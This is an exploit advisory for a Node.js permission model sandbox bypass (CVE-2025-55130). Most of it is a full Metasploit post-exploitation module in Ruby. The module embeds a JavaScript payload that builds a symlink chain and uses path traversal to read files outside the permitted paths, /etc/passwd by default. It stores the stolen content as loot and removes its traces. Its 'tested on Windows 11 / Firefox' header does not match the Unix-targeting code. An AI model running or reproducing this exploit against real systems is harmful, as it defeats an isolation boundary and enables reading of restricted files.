Node.js 25.x Permission Model Sandbox Bypass / Path Traversal
=============================================================================================================================================
| # Node.js 25.x Permission Model Sandbox Bypass / Path Traversal
=============================================================================================================================================
| # Title : Node.js 25.x Permission Model Sandbox Bypass via Symlink Path Traversal |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://nodejs.org/en |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/214705/ & CVE-2025-55130
[+] Summary : This module validates a sandbox escape weakness in the Node.js permission model that allows restricted file access bypass through symlink-based path traversal.
When Node.js is executed with the --permission flag and limited filesystem read/write paths, the permission checks rely on logical paths but fail to revalidate resolved real paths after symlink resolution.
As a result, an attacker with local code execution in a Node.js runtime can read files outside the permitted filesystem scope, violating the intended sandbox guarantees.
This issue does not result in system privilege escalation; instead, it represents a runtime security boundary bypass within Node.js applications that depend on the permission model for isolation.
The module is implemented as a post-exploitation verification tool, safely demonstrating the weakness and optionally confirming exploitability without modifying system state.
[+] Usage :
1. Basic Testing:
use post/multi/nodejs/sandbox_bypass
set SESSION 1
set TARGET_FILE /etc/passwd
run
2. With Process Checking:
use post/multi/nodejs/sandbox_bypass
set SESSION 1
set SCAN_NODE_PROCESSES true
set CHECK_PERMISSIONS true
run
3. Safe Testing Mode:
use post/multi/nodejs/sandbox_bypass
set SESSION 1
set TEST_MODE true
set AUTOREMOVE true
run
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Common
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Node.js Permission Model Sandbox Bypass File Reader',
'Description' => %q{
This module exploits CVE-2025-55130, a Node.js permission model bypass
vulnerability that allows escaping the --allow-fs-read/write sandbox restrictions
via symlink path traversal.
The module must be executed in a Meterpreter session where the target
system has a vulnerable Node.js installation with permission model enabled.
It demonstrates sandbox escape by reading arbitrary files from the filesystem
that should be restricted by the permission model.
Note: This is NOT a privilege escalation exploit. It bypasses Node.js
permission model sandbox restrictions when Node.js is already running with
--permission flag. It does not elevate system privileges.
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-55130'],
['URL', 'https://securityonline.info/cve-2025-55130-node-js-permission-model-bypass-sandbox-escape-vulnerability/']
],
'Platform' => ['nodejs', 'unix', 'linux'],
'Arch' => [ARCH_NODEJS, ARCH_X64, ARCH_X86],
'SessionTypes' => ['meterpreter', 'shell'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION],
'Type' => 'sandbox_escape',
'AKA' => ['Node.js Permission Model Bypass']
}
))
register_options([
OptString.new('TARGET_FILE', [
true,
'File to attempt reading (must be outside allowed paths)',
'/etc/passwd'
]),
OptString.new('NODE_PATH', [
false,
'Path to Node.js executable (auto-detected if not set)',
''
]),
OptString.new('ALLOWED_PATH', [
true,
'Path that would be allowed in --allow-fs-read/write',
'/tmp'
]),
OptBool.new('AUTOREMOVE', [
true,
'Automatically remove exploit files',
true
]),
OptString.new('WRITEABLE_DIR', [
true,
'Writable directory for exploit files',
'/tmp'
]),
OptBool.new('CHECK_PERMISSIONS', [
true,
'Check if Node.js processes are running with permission model',
true
]),
OptBool.new('SCAN_NODE_PROCESSES', [
true,
'Scan for running Node.js processes with permission flags',
false
])
])
register_advanced_options([
OptBool.new('VERIFY_READ', [
true,
'Verify file can be read after exploit',
true
]),
OptInt.new('EXPLOIT_TIMEOUT', [
true,
'Timeout for exploit execution (seconds)',
30
]),
OptBool.new('TEST_MODE', [
true,
'Test mode - create test file instead of reading target',
false
])
])
end
def run
print_status("Starting Node.js Permission Model Sandbox Bypass Module")
unless session
fail_with(Failure::BadConfig, "This module requires an active session")
end
node_path = detect_nodejs
unless node_path
fail_with(Failure::NotFound, "Node.js not found on target system")
end
print_status("Detected Node.js at: #{node_path}")
node_info = check_nodejs_info(node_path)
if datastore['SCAN_NODE_PROCESSES']
scan_node_processes
end
unless node_info[:has_permission_model]
print_warning("Node.js version #{node_info[:version]} may not support permission model")
print_warning("Exploit requires Node.js with permission model enabled")
unless datastore['CHECK_PERMISSIONS']
if Rex::Version.new(node_info[:version]) < Rex::Version.new('20.0.0')
print_warning("Permission model was experimental before Node.js 20")
end
end
end
exploit_dir = create_exploit_dir
exploit_file = generate_and_upload_exploit(exploit_dir)
execute_exploit(node_path, exploit_file, exploit_dir, node_info)
cleanup_exploit(exploit_dir) if datastore['AUTOREMOVE']
end
def detect_nodejs
if datastore['NODE_PATH'].present?
if file_exist?(datastore['NODE_PATH']) && executable?(datastore['NODE_PATH'])
return datastore['NODE_PATH']
else
print_warning("Provided NODE_PATH does not exist or is not executable")
end
end
possible_paths = [
'/usr/bin/node',
'/usr/local/bin/node',
'/opt/homebrew/bin/node',
'/bin/node',
'node'
]
possible_paths.each do |path|
if command_exists?(path)
print_good("Found Node.js at: #{path}")
return path
end
end
nil
end
def command_exists?(cmd)
result = cmd_exec("command -v #{cmd} 2>/dev/null")
result.present? && result.include?(cmd)
end
def executable?(path)
result = cmd_exec("test -x '#{path}' && echo 'executable'")
result.include?('executable')
end
def check_nodejs_info(node_path)
print_status("Checking Node.js information...")
info = {
version: 'unknown',
has_permission_model: false,
supports_experimental: false
}
version_output = cmd_exec("#{node_path} --version")
if version_output =~ /v(\d+\.\d+\.\d+)/
info[:version] = $1
print_status("Node.js version: #{version_output.strip}")
else
print_warning("Could not parse Node.js version")
end
check_cmd = "#{node_path} -e \"console.log(typeof process.permission !== 'undefined' ? 'HAS_PERMISSION_MODEL' : 'NO_PERMISSION_MODEL')\""
permission_check = cmd_exec(check_cmd)
if permission_check.include?('HAS_PERMISSION_MODEL')
info[:has_permission_model] = true
print_good("Node.js has permission model support")
else
print_warning("Node.js does not have permission model support or running without --permission flag")
end
experimental_check = cmd_exec("#{node_path} --experimental-permission --version 2>&1")
if experimental_check.include?('experimental')
info[:supports_experimental] = true
print_status("Node.js supports --experimental-permission flag")
end
info
end
def scan_node_processes
print_status("Scanning for running Node.js processes with permission model...")
ps_cmd = "ps aux | grep -E 'node|nodejs' | grep -v grep"
processes = cmd_exec(ps_cmd)
if processes.present?
print_status("Found Node.js processes:")
print_line(processes)
permission_processes = processes.split("\n").select do |line|
line.include?('--permission') || line.include?('--experimental-permission') ||
line.include?('--allow-fs-read') || line.include?('--allow-fs-write')
end
if permission_processes.any?
print_good("Found #{permission_processes.count} Node.js process(es) running with permission model:")
permission_processes.each do |proc|
print_line(" #{proc}")
end
permission_processes.each_with_index do |proc, idx|
pid = proc.split[1]
cmdline = proc.split[10..-1].join(' ')
print_status("Process #{idx+1}: PID=#{pid}, Command=#{cmdline}")
proc_cwd = cmd_exec("ls -la /proc/#{pid}/cwd 2>/dev/null")
if proc_cwd.present?
print_status(" CWD: #{proc_cwd}")
end
end
else
print_warning("No Node.js processes found running with permission model flags")
end
else
print_status("No Node.js processes found running")
end
end
def create_exploit_dir
writable_dir = datastore['WRITEABLE_DIR']
exploit_dir = "#{writable_dir}/.node_sandbox_test_#{Rex::Text.rand_text_alpha(8)}"
print_status("Creating exploit directory: #{exploit_dir}")
cmd_exec("mkdir -p #{exploit_dir}")
allowed_subdir = "#{exploit_dir}/allowed"
cmd_exec("mkdir -p #{allowed_subdir}")
exploit_dir
end
def generate_and_upload_exploit(exploit_dir)
target_file = datastore['TEST_MODE'] ? "#{exploit_dir}/test_secret.txt" : datastore['TARGET_FILE']
allowed_path = datastore['ALLOWED_PATH']
if datastore['TEST_MODE']
test_content = "SECRET_TEST_CONTENT_#{Rex::Text.rand_text_alpha(16)}"
write_file(target_file, test_content)
print_status("Created test file: #{target_file}")
end
exploit_js = <<~JS
const fs = require('fs');
const path = require('path');
const TARGET = '#{target_file}';
const ALLOWED_PATH = '#{allowed_path}';
const CHAIN = './pwn/a/b/c/d/e/f';
console.log(`
===========================================================
Node.js Permission Model Sandbox Bypass Test by indoushka
===========================================================
Target file: \${TARGET}
Allowed path: \${ALLOWED_PATH}
Current directory: \${__dirname}
Node version: \${process.version}
=====================================================
`);
// Check if permission model is active
if (typeof process.permission === 'undefined') {
console.log('[!] PERMISSION MODEL NOT ACTIVE');
console.log('[!] Node.js must be run with: --permission --allow-fs-read=. --allow-fs-write=.');
console.log('[!] Without permission model, this is just a symlink test');
console.log('[!] Continuing test anyway...\\n');
} else {
console.log('[+] Permission model is active');
console.log('[+] Testing sandbox bypass...\\n');
}
console.log('[*] Creating symlink chain structure...');
try {
fs.rmSync('./pwn', { recursive: true, force: true });
} catch(e) {}
fs.mkdirSync(CHAIN, { recursive: true });
fs.symlinkSync(__dirname, CHAIN + '/link');
const depth = __dirname.split('/').filter(Boolean).length;
const traversal = '../'.repeat(depth);
const payload = `\${CHAIN}/link/\${traversal}\${TARGET.replace(/^\\//, '')}`;
console.log('[*] Symlink chain created');
console.log('[*] Traversal depth: ' + depth);
console.log('[*] Payload path: ' + payload);
console.log('[*] Attempting to read target file...\\n');
try {
const data = fs.readFileSync(payload, 'utf8');
console.log('[+] SUCCESS: File read through sandbox bypass!\\n');
console.log('--- BEGIN FILE CONTENT ---');
console.log(data);
console.log('--- END FILE CONTENT ---\\n');
if (typeof process.permission !== 'undefined') {
console.log('[+] NODE.JS PERMISSION MODEL BYPASS CONFIRMED');
console.log('[+] CVE-2025-55130 is exploitable on this system');
} else {
console.log('[+] Symlink traversal works, but permission model not active');
}
process.exit(0);
} catch (err) {
console.log('[-] FAILED to read file');
console.log('[-] Error: ' + err.code + ' - ' + err.message);
if (err.code === 'ERR_ACCESS_DENIED') {
console.log('[-] Permission model blocked access');
console.log('[-] System may be patched or not vulnerable');
} else if (err.code === 'ENOENT') {
console.log('[-] Target file does not exist');
}
process.exit(1);
}
try {
fs.rmSync('./pwn', { recursive: true, force: true });
} catch(e) {}
JS
exploit_file = "#{exploit_dir}/sandbox_bypass.js"
write_file(exploit_file, exploit_js)
cmd_exec("chmod +x #{exploit_file}")
print_status("Exploit script written to: #{exploit_file}")
exploit_file
end
def execute_exploit(node_path, exploit_file, exploit_dir, node_info)
print_status("Executing sandbox bypass test...")
cmd_exec("cd #{exploit_dir}")
flags = '--permission'
unless node_info[:has_permission_model]
print_warning("Node.js may not support permission model, trying experimental flag")
flags = '--experimental-permission' if node_info[:supports_experimental]
end
allowed_path = "."
exploit_cmd = "#{node_path} #{flags} --allow-fs-read=#{allowed_path} --allow-fs-write=#{allowed_path} #{exploit_file}"
print_status("Running command: #{exploit_cmd}")
result = cmd_exec(exploit_cmd, datastore['EXPLOIT_TIMEOUT'])
parse_exploit_result(result, exploit_dir)
end
def parse_exploit_result(result, exploit_dir)
print_status("Exploit output:")
print_line(result)
if result.include?('SUCCESS: File read through sandbox bypass!')
print_good("? Sandbox bypass successful!")
if result =~ /--- BEGIN FILE CONTENT ---(.*?)--- END FILE CONTENT ---/m
file_content = $1.strip
print_good("File content read successfully")
loot_name = datastore['TEST_MODE'] ? 'nodejs_sandbox_test' : datastore['TARGET_FILE'].gsub('/', '_')
loot_path = store_loot(
'nodejs.sandbox.bypass',
'text/plain',
session,
file_content,
loot_name,
"Node.js Permission Model Sandbox Bypass - #{datastore['TARGET_FILE']}"
)
print_good("Content saved to: #{loot_path}")
end
if result.include?('PERMISSION MODEL BYPASS CONFIRMED')
print_good(" CVE-2025-55130 confirmed exploitable on this system")
report_vuln(
host: session.session_host,
name: 'Node.js Permission Model Sandbox Bypass',
refs: references,
info: "Node.js permission model bypass via symlink path traversal (CVE-2025-55130)"
)
end
elsif result.include?('Permission model blocked access')
print_error(" Permission model prevented access - may be patched")
elsif result.include?('PERMISSION MODEL NOT ACTIVE')
print_warning(" Permission model not active during test")
print_warning("This test only confirms symlink traversal works")
print_warning("To test sandbox bypass, Node.js must run with --permission flag")
else
print_error(" Exploit failed or produced unexpected output")
end
print_status("=" * 60)
print_status("SUMMARY:")
print_status(" - Node.js Sandbox Bypass Test Completed")
print_status(" - Exploit Directory: #{exploit_dir}")
print_status(" - Target File: #{datastore['TARGET_FILE']}")
print_status(" - Test Mode: #{datastore['TEST_MODE'] ? 'Enabled' : 'Disabled'}")
print_status("=" * 60)
end
def cleanup_exploit(exploit_dir)
print_status("Cleaning up exploit directory: #{exploit_dir}")
cmd_exec("rm -rf #{exploit_dir}")
end
end
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================